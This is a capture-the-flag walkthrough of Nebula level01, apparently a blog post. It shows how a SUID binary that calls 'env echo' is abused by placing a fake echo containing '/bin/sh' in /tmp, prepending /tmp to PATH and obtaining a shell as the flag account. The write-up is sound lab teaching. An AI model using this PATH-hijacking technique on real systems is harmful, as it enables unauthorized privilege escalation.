Nebula - level01

This is the second post on the Nebula series hosted by Exploit Exercises

We start off with understanding what is being asked of us:

After SSH'ing as level01 and navigating to the /home/flag01 directory, we see that there's a file with SUID:

level01@nebula:~$ cd /home/flag01/
level01@nebula:/home/flag01$ ls -lah
total 13K
drwxr-x--- 2 flag01 level01   92 2011-11-20 21:22 .
drwxr-xr-x 1 root   root      80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag01 flag01   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag01 flag01  3.3K 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag01 level01 7.2K 2011-11-20 21:22 flag01
-rw-r--r-- 1 flag01 flag01   675 2011-05-18 02:54 .profile

We run the file:

level01@nebula:/home/flag01$ ./flag01 
and now what?

Reading the above code and running the file, we get exactly what is expected.

The file issues the system command of "/usr/bin/env echo and now what".

This is poorly written code. Why?

Well, stating the /usr/bin/env <echo>, will use whatever <echo> executable appears first in the users $PATH. This means that the script could behave differently depending on who runs it. Because of this, if we were to update the users $PATH, we could actually cause different affects.

Let me demonstrate:

level01@nebula:/home/flag01$ echo $PATH

As shown above, we echo the $PATH variable and are given a list of locations. This means that, if we were to execute a command, it would first look in this $PATH location.

We can also check to see where "echo" is located:

level01@nebula:/home/flag01$ which echo

"echo" is located in /bin. Our $PATH variable shows that /bin is located towards the end.

We can actually exploit this by updating the $PATH variable with a different "location" of "echo" which can elevate our privileges to the owner of flag01.

To demonstrate:

level01@nebula:/home/flag01$ export PATH=/tmp:$PATH
level01@nebula:/home/flag01$ echo $PATH

Now we have added "/tmp" to the beginning of our $PATH variable.

Additionally, we can create a new file called "echo" located in "/tmp" and make it executable:

level01@nebula:/home/flag01$ echo "/bin/sh" > /tmp/echo
level01@nebula:/home/flag01$ chmod +x /tmp/echo
level01@nebula:/home/flag01$ cat /tmp/echo

Now, when we execute the flag01 file, we will instead execute "echo" located in /tmp instead of /bin:

level01@nebula:/home/flag01$ ./flag01 
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account

Success! We now have shell as the owner of flag01 (flag01) due to SUID.

This shows the dangers of SUID and executing a command instead of directly where it is located.

Next, level02.

Thanks for reading!